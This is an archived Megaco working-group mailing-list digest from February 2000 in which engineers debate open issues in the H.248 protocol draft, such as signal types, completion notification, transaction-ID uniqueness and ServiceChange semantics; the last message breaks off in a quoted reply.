Comment: Profile versions are unrelated to versions of the protocol.
Reference: Chuong Nguyen, 02/02/00, ServiceChange

Comment: for transport over TCP or UDP, the MG should not include a
ServiceChangeAddress parameter in the command.  The MGC should send its
messages to the address/port which was the source of the message containing
the ServiceChange command.
Reference: Chuong Nguyen, 02/02/00, ServiceChange and earlier threads.

Section affected: 8
Comment: in final paragraph, failure of the application-level timer should
be notified to local management, since it indicates a potential failure of
the peer application.  Local management may decide to initiate an alternate
association.

Section affected: 8.1.1
Comment: the use of sequential transactionIDs simplifies detection of
duplicate transactions.


Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 07:40:31 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23713
	for ; Fri, 4 Feb 2000 07:40:24 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7FAB9A00@standards.nortelnetworks.com>; Fri, 4 Feb 2000 7:36:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23482 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 07:34:54 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.53E11F30@standards.nortelnetworks.com>; Fri, 4 Feb 2000 7:34:53
          -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 12:36:35 +0000
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 06:36:28 -0600
Received: from zrchb213.us.nortel.com by zmers013; Fri, 4 Feb 2000 07:36:21
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TKYGN>; Fri, 4 Feb 2000 06:36:19 -0600
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Fri, 4 Feb 2000 06:36:18 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      FW: Cisco SG16: Signals Operation
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Resend.

> -----Original Message-----
> From: Taylor, Tom-PT [CAR:B904:EXCH]
> Sent: Friday, February 04, 2000 2:37 AM
> To:   'Chip Sharp'; megaco@standards.nortelnetworks.com
> Subject:      RE: Cisco SG16: Signals Operation
>
> No action on the first one -- we would just go round in circles.  I don't
> think it's as fundamental a point as you suggest -- the status quo works,
> because signal typing is just a convenience.
>
> On the second point I'd like to see a little more discussion.  We're
> talking about "notifyCompletion" for signals.  There are two parts to the
> current mechanism: arming by a signal parameter rather than an event
> descriptor entry, and reporting by special means specified in the protocol
> rather than by means of an ordinary event.  Opinions are divided on both
> parts of the mechanism.  The main concern I have over use of the pure
> event mechanism is on the arming side: asking for completion of a
> sequential signal list is likely to be very awkward.  I also wonder how
> sensible it is to have the potential outcome that the completion of a
> signal stops all signals.
>
> I still think that the "cause" event in E.1.2 can be used to report
> signalling failure, but I still ask myself where the requestID comes from
> for error reports.  The designers of the "cause" event must have something
> to say about that.
>
> -----Original Message-----
> From: Chip Sharp [SMTP:chsharp@cisco.com]
> Sent: Friday, February 04, 2000 12:05 AM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]; megaco@standards.nortelnetworks.com
> Subject:      RE: Cisco SG16: Signals Operation
>
> At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
> >
> >
> >I have every sympathy with your first point -- I couldn't resist the
> >temptation to propose a new definition of BR.  The fact is, the way
> things
> >currently stand, we could abolish the signal type parameter and it would
> >make no difference to the operation of the protocol.  I suppose we would
> >have to define an "infinite" duration to simulate on/off as currently
> >defined, but even that might not be necessary.
> >
> >Speaking as chair, I suppose I have to say that the null hypothesis is
> >that we stick with our current text.  We have two other alternatives:
> >
> >(a) New distinctive definitions for BR, TO, OO, with the understanding
> >that the definition of a given signal indicates its default type, but
> that
> >type can always be overridden by the type parameter.
> >
> >  - BR duration is assumed to be known to the MG without explicit MGC
> > input.  BR signals can be stopped by detection of events without the
> > KeepActive parameter or by replacement of the current signal descriptor
> > with one not containing the indicated signal.
> I would suggest they cannot be interrupted by events. If not, there's
> little reason for having them as well as TO signals.
> >
> >
> >  - TO duration is given explicitly by the duration parameter.  A default
>
> > may be provisioned or defined in the package.  TO signals can be stopped
>
> > by detection of events without the KeepActive parameter or by
> replacement
> > of the current signal descriptor with one not containing the indicated
> signal.
> >
> >  - OO signals remain active until a signal descriptor with explicit
> > turn-off syntax comes into effect (Chip's proposal).
> Sounds good.
> >
> >
> >(b) Abolish signal type.
> >
> >If I see a sudden rush to agreement on something other than the existing
> >text I'll feed it into Geneva.  Otherwise things stay put and we can try
> >again for H.248v2 -- the protocol works as is.
> I doubt it. This is such a fundamental property of the protocol that it is
>
> highly unlikely you would be able it in v2, not least considering the
> backwards compatibility restricion on package extensions. I would suggest
> doing it right the first time around.
>
> Issue update and additions follow below.
> >
> >
> >Comments to the other points follow them.
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:59
> >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:      Cisco SG16:
>
> >Signals Operation
>
> Section:         7.1.1, second paragraph, last paragraph
> Category:     Technical
> Issue no.:     14.2
> Issue:          The draft text specifies that "Finally, there is an
> optional "notifyCompletion" that allows a MGC to request being notified of
>
> completion of the signal. The value of thi sparameter is a
> RequestIdentifier, allowing the MGC to correlate the Notify with the
> corresponding signal" and furthermore that "If the MGC requested
> notification of completion for a signal, a Notify command SHALL be sent by
>
> the MG upon completion of that signal. A Notify triggered by completion of
>
> a signal SHALL NOT affect the state of the eventbuffer or any active
> events
> descriptor". There is already a mechanism in the protocol that supports
> this functionality, namely events. By using the event mechanism instead,
> the duplication of functionality is avoided, and event ordering between
> "events" and completed signals become trivial - currently they are an
> unsolved issue. Furthermore, it is unclear how this behavior interacts
> with
> the EventBuffer mechanism. For example, if an event has been notified,
> "EventBuffer" is on, and the signal now completes, it seems inconsistent
> to
> issue another Notify specific to the signal.
> Proposal:     It is strongly suggested, that "notifyCompletion" is
> replaced
> by having the completion of the signal generating an event (e.g. "signal
> complete") instead (notification of which may or may not have been
> requested). Furthermore, to account for signal failure, there should be a
> "signal failure" event as well.
> Status:
>
>
> >    Section:        7.1.10, fourth paragraph, first
> > bullet.  Category:       Technical, Open Issue  Issue:          The
> draft
> > text defines on/off signals "the signal lasts until it is  turned off",
> > however this definition is not clear. Specifically, it is not  clear if
> > an on/off signal is turned off by not being included in a  subsequent
> > SignalsDescriptor or if it is turned off by some explicit  action. In
> the
> > latter case, syntax is missing leading one to believe that  the former
> > definition is intended. The former definition on the other hand  is
> > somewhat problematic and overlaps the definition of time-out
> > signals  with an indefinite duration. Consider for instance a "visual
> > message  waiting indicator" defined as an on/off signal. Unless the
> > signal is  included in all subsequent SignalsDescritpors, the indicator
> > will be turned  off. The on/off signal type would be more useful (and
> not
> > a duplicate of  timeout) if this was not the case.  Also, it should be
> > noted, that the more general topic of signal types and  the details of
> > their operation has been the subject of much debate on the  IETF Megaco
> > mailing list since the white contribution was developed, and  that at
> > time of writing, no resolution had been found.
> >
> >Proposal:       It is recommended that the definition of on/off is
> >clarified in  accordance with the above and the missing syntax added.
> >
> >
> >v13 Status:     OPEN. No substantial change has been made.
>
> v14: OPEN. No relevant text changed.
> >
> >
> >Section:        7.1.10, fourth paragraph, second
> >bullet  Category:       Technical  Issue:          The draft text defines
>
> >timeout signals as "the signal lasts until  it is turned off or a
> specific
> >period of time elapses", however there is no  mechanism specified for
> >informing the MGC when that specific period of time  has elapsed and thus
>
> >the signal has ended. The MGC may therefore be unable  to determine if a
> >given signal is playing in an MG or not. An example where  this is needed
>
> >is outpulsing with MF Feature Group D trunks where multiple  digit
> strings
> >(address and caller id) need to be outpulsed. MGC needs to  know when
> >outpulsing of the first string of digits has occurred before  requesting
> >out-pulsing of the next string.). Another example is a signal  activated
> >through an external event such as user input (by use of an  embedded
> >signals descriptor).
> >
> >Proposal:       It is strongly recommended that a mechanism for notifying
>
> >the MGC  upon timeout signal completion is added, e.g. in the form of an
> >event  ("operation complete"). Furthermore, it should be considered to
> add
> >another  event that would allow the MGC to be informed if generation of
> >the signal  fails for some reason (e.g. "operation failure"). It should
> be
> >noted, that  this may happen in the middle of the signals defined
> duration.
> >
> >v13 Status:     OPEN. No substantial change has been made.
> >
> >[[TomT]]  v14 adds the notifyCompletion parameter for every signal and
> >text on how completions are notified in section 7.2.7.  For failures we
> >have that generic failure event in E.1, but no text on how to apply it or
>
> >what request ID to use for it.
>
> v14:    DISAGREE (see issue 14.2). A mechanism has been added.
>
>
> Section:         7.1.17
> Category:     Technical
> Issue no.:     14.3
> Issue:          The draft text specifies that "If a Notify is sent as a
> result of a signal completion, the ObservedEventsDescriptor contains the
> name of the signal that completed and the time at which it completed". Cf.
>
> issue 14.2, this behavior is undesirable and should be replaced with an
> event instead thereby eliminating the need for specifying this special
> case.
> Proposal: Assuming the proposed resolution to issue 14.2 is accepted, it
> is
> proposed that the above sentence is deleted.
> Status:
>
>
> Section:         7.2.8 (Notify), last three paragraphs
> Category:     Technical
> Issue no.:      14.5
> Issue:          The draft text specifies that "..., or as a result of
> completion of a signal for which the MGC requested notification of
> completion", and "...or the triggering SignalsDescriptor", as finally "A
> Notify triggered by completion of a signal, contains the corresponding
> signal name in the ObservedEventsDescriptor". However, as argued in issue
> 14.2, this behavior is a special case that is inconsistent with the
> general
> event handling mechanism, incl. Notifications. If signal completion was
> not
> designed as a special case (which there is no reason to), this special
> case
> handling would not be necessary.
> Proposal: Assuming the proposed solution to issue 14.2 is accepted, it is
> proposed to remove all of the above text segments.
> Status:
>
>
> >
> >
> >Section:                12.1.4  Category:       Technical, Open
> >Issue  Issue:          The draft text mentions SignalType CN (Continue),
> >however this  SignalType is not defined in Section 7.1.10 on Signals
> >Descriptor.  Also, it should be noted, that the more general topic of
> >signal types and  the details of their operation has been the subject of
> >much debate on the  IETF Megaco mailing list since the white contribution
>
> >was developed, and  that at time of writing, no resolution had been
> >found.  Proposal:       It is proposed that SignalType CN is removed from
>
> >the text.
> >
> >v13 Status:     OPEN. No text changed.
> >
> >[[TomT]]  Done.
> v14. CLOSED. SignalType CN has been removed.
> >    Section:        12.1.4  Category:       Technical, Open
> > Issue  Issue:          The draft text specifies that "Signals that would
>
> > be played with  SignalType BR should have a default duration"  Again, it
>
> > should be noted, that the more general topic of signal types and  the
> > details of their operation has been the subject of much debate on
> > the  IETF Megaco mailing list since the white contribution was
> developed,
> > and  that at time of writing, no resolution had been
> > found.  Proposal:       It is proposed that similar text is added as for
>
> > signals of  SignalType TO.
> >
> >v13 Status:     OPEN. No text changed.  [[TomT]]  See initial comments to
>
> >this message.
> v14: OPEN. No text changed.
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 07:40:37 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23725
	for ; Fri, 4 Feb 2000 07:40:31 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7FEE4850@standards.nortelnetworks.com>; Fri, 4 Feb 2000 7:36:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23487 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 07:34:59 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.56E33BA0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 7:34:58
          -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 12:35:53 +0000
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 06:35:39 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Fri, 4
          Feb 2000 07:35:32 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VCAH0>; Fri, 4 Feb 2000 07:35:32 -0500
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Fri, 4 Feb 2000 07:35:30 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      FW: Cisco SG16: Transaction ID uniqueness
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Resend

> -----Original Message-----
> From: Taylor, Tom-PT [CAR:B904:EXCH]
> Sent: Friday, February 04, 2000 2:18 AM
> To:   'Chip Sharp'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      RE: Cisco SG16: Transaction ID uniqueness
>
> Proposed changes added to the errata document.
>
> -----Original Message-----
> From: Chip Sharp [SMTP:chsharp@CISCO.COM]
> Sent: Friday, February 04, 2000 12:02 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Cisco SG16: Transaction ID uniqueness
>
> At 05:03 PM 2/2/00 -0500, Tom-PT Taylor wrote:
>
> Tom-PT Taylor wrote:
> >
> >
> >The necessary changes appear to have been made in v14.
> Not quite - see below.
> >
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 8:07
> >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:      Cisco SG16:
> >Transaction ID uniqueness
> >
> >Section:        D.1.1, second paragraph  Category:       Technical,
> >Editorial  Issue:          The draft text specifies that "The transaction
> >identifiers of  incoming messages are compared to the transaction
> >identifiers of the recent  responses". This is inconsistent with Section
> >8.1.1 where transaction  identifiers are defined to only be unique within
> >the scope of a given  sender. Transaction identifiers should indeed be
> >unique within the scope of  a given sender to avoid having to synchronize
> >transaction identifiers  between MGC's, e.g. when handoff or failover is
> >performed.  Proposal:       It is proposed that the text is modified to
> be
> >consistent with  Section 8.1.1.
> >
> >v13 Status:     OPEN. No text changed.
> v14: SEMI-CLOSED. Draft text now specifies that "The transaction
> identifiers of incoming messages are compared to the transaction
> identifiers of the recent responses from the same entity", however "from"
> should be replaced with "to". Furthermore, "entity" should be clarified to
> specifically state that it is determined based on "mID".
> >
> >
> >Section:        D.1.1, second paragraph  Category:       Technical,
> >Editorial  Issue:          The draft text specifies that "The remaining
> >messages will be  compared to the list of current transactions. If a
> match
> >is found,  indicating a duplicate transaction, the entity does not
> execute
> >the  transaction, which is simply ignored". The above behaviour is
> >sub-optimal  and will lead to unnecessary retransmissions and adjustment
> >of  retransmission timers for subsequent transmissions. It is
> >furthermore  inconsistent with the description in Annex
> >D.1.4.  Proposal:       It is proposed that a "TransActionPending"
> >response is returned  instead.
> >
> >v13 Status:     OPEN. No text changed.
>
> v14: OPEN. No relevant text changed.
> >
> >
> >Section:        D.1.1, last paragraph.  Category:       Technical,
> >Editorial  Issue:          The draft text specifies that "For
> transactions
> >that are  acknowledged through this parameter, the MG shall keep a copy
> of
> >the  transaction-id for LONG_TIMER seconds after the response is issued,
> >in  order to detect and ignore duplicate copies of the transaction
> >response".  The sentence is incorrect as the purpose of the keeping the
> >transaction-id  (but not the response) at the MG is to recognize
> duplicate
> >transaction  requests which can then be ignored with it is known that the
> >requestor  already received the response.  Proposal:       It is
> >recommended that "transaction response" is changed to  "transaction
> >request" in the above sentence. Furthermore, it is recommended  the "the
> >MG" is changed to "the MG (or MGC)" as the behaviour applies to both.
> >
> >v13 Status:     OPEN. No text changed.
> v14: CLOSED. Text updated.
> >
> >
> >Section:        D.1.2, first paragraph, last
> >line  Category:       Technical, Editorial  Issue:          The draft
> text
> >specifies that "MGs can simply detect duplicate  transactions by looking
> >at the transaction identifier only". This is  inconsistent with the
> >"sender uniqueness only" requirement on transaction  identifiers in
> >Section 8.1.1, which implied that MGs have to look at the  combination of
> >"mId" and transaction identifier to identify a duplicate  transaction.
> >
> >Proposal:       It is recommended that the text is modified to be
> >consistent with  Section 8.1.1, i.e. that the combination of transaction
> >identifier and mId  identifies a given transaction.
> >
> >v13 Status:     OPEN. No text changed.
> v14: CLOSED. Text updated.
> >    Section:        D.1.2, fourth
> > paragraph  Category:       Technical  Issue:          The draft text
> > specifies that "The entity shall retain the union of  the "confirmed
> > transaction-id ranges" received in recent messages". This is
> inaccurate.
> > More specifically, a given "confirmed transaction-id range" is  valid
> for
> > LONG-TIMER seconds.  Proposal:       It is proposed that the text is
> > modified to reflect the above.
> >
> >v13 Status:     OPEN. No text changed.
>
> v14: CLOSED. Text updated.
> >
> >
> >Section:        D.1.4, fourth
> >paragraph  Category:       Technical  Issue:          The draft text
> >specifies that "The transaction identifiers of  incoming transactions are
> >compared...". The paragraph duplicates Section  D.1.1 and contains the
> >same problem of ignoring the "sender uniqueness  only" requirement on
> >transaction identifiers as well as not issuing a  provisional response
> >when a duplicate request for an in-progress
> >transaction.  Proposal:       It is proposed that the paragraph is either
> >removed or the text  modified to reflect the "sender uniqueness
> >requirement" and sending of a  provisional response.
> >
> >v13 Status:     OPEN. No text changed.
> v14: CLOSED. Text removed (now Section D.1.5)
> >
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 09:34:27 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28200
	for ; Fri, 4 Feb 2000 09:34:26 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.99E3D710@standards.nortelnetworks.com>; Fri, 4 Feb 2000 9:31:23 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23675 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 09:30:20 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.0E925CF0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 9:20:20
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA17276; Fri, 4 Feb
          2000 09:22:21 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA22130; Fri, 4 Feb
          2000 09:22:24 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTLZN>; Fri, 4 Feb 2000 09:19:08 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20888B@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 09:22:21 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Service Change
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Comments below

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 04, 2000 12:08 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Service Change
>
>
> At 08:51 PM 2/2/00 -0600, Tom-PT Taylor wrote:
> >
> >
> >Comments below.
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:55
> >PM  [[TomT]]  snip
> OK. Added the snipped stuff with updated status for
> completeness. Also note
> a couple of new issues here:
>
> Section:         7.2.8 (ServiceChange), numbered list items
> two and three
> Category:     Technical
> Issue no.:     13.12
> Issue:          The draft text has made significant changes to the
> semantics of the "Forced" and "Restart" ServiceChangeMethod
> since the Red
> Bank meeting. The old semantics guaranteed that the MG (or rather the
> affected terminations) would be in a known state following either a
> "Forced" or "Restart" ServiceChange. However the new
> semantics specified
> leaves the MG in an undefined state forcing the MGC to audit
> the MG to
> figure out what to do whenever it receives a "Forced" or "Restart"
> ServiceChange (consider the case where the primary MGC receives the
> "Forced" ServiceChange and the secondary (or another) MGC receives a
> subsequent "Restart" ServiceChange
> Proposal:     It is strongly suggested that the MG (or affected
> terminations) will be in a known state when a "Forced" or "Restart"
> ServiceChange is issued. Consequently, the text should be
> brought back in
> line with the outcome of the Red Bank meeting.
> Status:
>      v14: OPEN. No relevant text changed.
There has not been, to my knowledge, any change to forced and restart
which alters the state of the terminations since Red Bank.

If you cold-start an MG, it will come up in a known state, and
Restart to it's MGC, primary or secondary.  I think we can all
agree it does this.

If the MG itself FORCES terminations out of service, then the MGC
has to do the subtract.  There is no ambiguity of state.  No
secondary MGC is involved.

If the MGC FORCES terminations out of service, it must do the
subtract also, and there is no ambiguity of state.  No secondary
MGC is involved.

Somehow, your problem statement gets into a Handoff, or Failover
case, where, for some reason, you posit a working primary MGC
getting one message, and a working secondary MGC getting another one.
On a failure of an MG, there is no change of MGC, so the restart
looks like an initial registration, and all the terminations
should be in a known state.

On an MG initiated failover, the MG registers with the secondary
with Failover, not Restart.  The MGC could send Forced to
the primary, but the MG is considering it dead, and probably
wouldn't do it.  At any rate, failover DOES require an audit
by the secondary MGC as it should.

On an MGC initiated failover, you use Handoff.  Again, the MGC knows
what the state is, but the secondary doesn't.  It must Audit, but
that is as it should be.

There are no other cases of Forced or Restart that I know about.

> Section:         7.2.8 (ServiceChange), numbered item six
> Category:     Editorial/Technial
> Issue no.:     14.7
> Issue:          The draft text for "Failover" specifies that
> "..., and sent
> from MG to (new) MGC in response to the MG having received a
> ServiceChange
> with ServiceChangeMethod equal to Handoff". It would seem to be more
> consistent if the MG sent a "Handoff" rather than a
> "Failover" to the (new)
> MGC in response to a handoff from the old MGC.
> Proposal:     It is proposed, that above text segment is
> moved from the
> "Failover" method to the "Handoff" method.
> Status:
I'm okay with this, although I think it's a nit

>
> Section:         7.2.8 (ServiceChange), fifth last paragraph
> Category:     Technical, Editorial
> Issue no.:     14.8
> Issue:          The draft text specifies that "The MGC shall use this
> Addres, if specified, in its response to the ServiceChange
> command and any
> subequent commands and responses" and "The MG shall use this
> address for
> any subsequent communication with the MGC". While it makes
> sense to require
> commands to be sent to this address, it is generally not a
> good idea to
> require this for responses, e.g. for clustered systems. Furthermore,
> Section 9 (Transport) also specifies that "Responses to
> commands are sent
> back to the source address of the commands"
> Proposal:     It is strongly recommended, that commands will
> be sent to the
> address specified while responses will always be sent to the
> source address
> they came from.
> Status:
I agree with this.  The text is inconsistant, so something needs
to be changed.  Chip's proposal seems the most reasonable way
to resolve it


>
> Section:         7.2.8 (ServiceChange), third last paragraph
> Category:     Editorial
> Issue no.:     12.25
> Issue:          The draft text specifies that "The
> ServiceChangeMethod
> shall be "forced" for this usage". This is inconsistent with the
> description in Section 11.2  which specified a ServiceChangeMethod of
> "Restart".
> Proposal:     It is recommended that the above text be
> modified to use a
> ServiceChangeMethod of "Restart" instead.
> Status:
>      v13: CLOSED. Text has been modified.
>
>
> Section:     7.2.8 (ServiceChange), last bullet list
> Category:     Technical
> Issue no.:     13.13
> Issue:          The draft text specifies that "Profile required if
> terminationID is not ROOT, optional otherwise". However there
> may not be a
> profile, in which case it makes little sense to require it.
> Secondly, it
> would seem to make more sense to require a profile when the
> terminationID
> in fact is ROOT as that would be the initial registration.
> Proposal:     It is proposed, that the text is changed in
> accordance with
> above.
> Status:
>      v14: OPEN. No relevant text changed.
How about: Profile is Required if the termination ID is ROOT,
and the entity supports a profile, optional otherwise.

I agree the text is wrong, and some change is required.

>
> >
> >
> >Section:        11.2  Category:       Technical  Issue:
>     When a
> >gateway starts, it generates a restart ServiceChange  to the
> MGC. If the
> >MGC's response to the ServiceChange is lost while a  later
> command is
> >received by the gateway, how this command is handled is  not
> specified in
> >the draft text.  Proposal:       It is recommended that the
> gateway will
> >return an error.
> >
> >v13 Status:     OPEN. No text changed.
> >
> >[[TomT]]  Agreed in principle.  This triggered thoughts of flooding
> >attacks where the attacker masquerades as the MGC which it
> is indirectly
> >trying to flood with error messages.  I suppose we're OK so long as
> >authentication failures are discarded silently.  Anyway, I'll add a
> >"clarification" to section 8.3 stating that the MG should
> respond with an
> >error to authenticated messages from MGCs with which the MG is not
> >currently associated.   It's not quite so simple for MGCs receiving
> >messages from strangers -- I guess the MGC has to look
> inside to determine
> >whether to accept them.
> v14: CLOSED. An error will be returned
> >
> >
> >Section:        11.2  Category:       Technical  Issue:
>     The draft
> >text specifies that "If the MGC accepts the MG,  it will send a
> >Transaction Accept, with the MGCIdToTry set to itself. If
> the MG receives
> >an MGCIDToTry not equal to the MGC it contacted, it send a
> ServiceChange
> >to the MGC specified in the MGCIdToTry". It is inconsistent
> to on one
> >hand accept the transaction as successful, yet on the other
> hand  require
> >the MG to examine the MGCIdToTry returned to determine if
> >the  registration really was successful or not. Examination of the
> >syntax  reveals that this is part of a larger problem where
> >unsuccessful  transactions, actions and commands are not
> able to return
> >any other  information than an ErrorDescriptor which can
> only contain an
> >error code  and text.  Proposal:       It is recommended
> that the above
> >procedure is replaced by  return of an error code and
> another MGCIdToTry
> >if the registration did not  complete. Furthermore, it is
> recommended that
> >ErrorDescriptors are extended  to allow return of other information
> >(essentially CommandReply) than only  an error code and text.
> >
> >v13 Status:     OPEN. No text changed  [[TomT]]  As I see
> it, redirection
> >is different from a transaction error.  The MGC processed
> the command
> >successfully, and the response contains useful information.
> An error
> >should be thought of as a situation where the responder
> reached a dead end
> >when it tried to comply with the request.  In general
> recovery from an
> >error is pretty basic: kill the call.  In special cases the
> error code and
> >context should give enough information for recovery.
> Not really. Think of SIP, HTTP, MGCP, etc. There are numerous
> return codes
> that have nothing to do with "errors" per se. In reality,
> these "error
> codes" are really "return codes" and maybe that's where the
> confusion arises.
I'm with Tom on this one, and I'll further point out you can't do
what Chip proposes since if you get an Error descriptor, you
won't get the Service descriptor with the MgcIdToTry!


> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------

Brian
------------
Brian Rosen, Principal Engineer
Marconi (Formerly FORE Systems)
1000 FORE Drive, Warrendale, PA 15086
(724) 742-6826  mailto:brosen@eng.fore.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 09:48:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28766
	for ; Fri, 4 Feb 2000 09:48:44 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.903C74E0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 9:45:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23697 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 09:45:00 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.1A70C690@standards.nortelnetworks.com>; Fri, 4 Feb 2000 9:34:58
          -0500
Received: from eed.ericsson.se (mailhost.eed.ericsson.se [164.48.130.6]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with ESMTP id
          PAA00645; Fri, 4 Feb 2000 15:36:56 +0100 (MET)
Received: from ericsson.com.au (dhcp2-99 [164.48.129.99]) by eed.ericsson.se
          (8.8.8+Sun/1.1.mit) with ESMTP id PAA26132; Fri, 4 Feb 2000 15:36:54
          +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389AE404.8D99BDAD@ericsson.com.au>
Date:         Fri, 4 Feb 2000 15:36:52 +0100
Reply-To: Paul Hollis 
Sender: "Media Gateway Control (megaco)"
              
From: Paul Hollis 
Organization: Ericsson Eurolab Deutschland GmbH
Subject:      Re: More Digit Map Fixes
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi Tom,

I'm still a bit confused about how all these timers work! We define the timers,
but have we defined what happens at timeout?

Regards Paul.


Tom-PT Taylor wrote:

> I took a closer look at digit maps (section 7.1.14) as a result of a private
> discussion and found an ambiguity in our current rules.  I also learned a
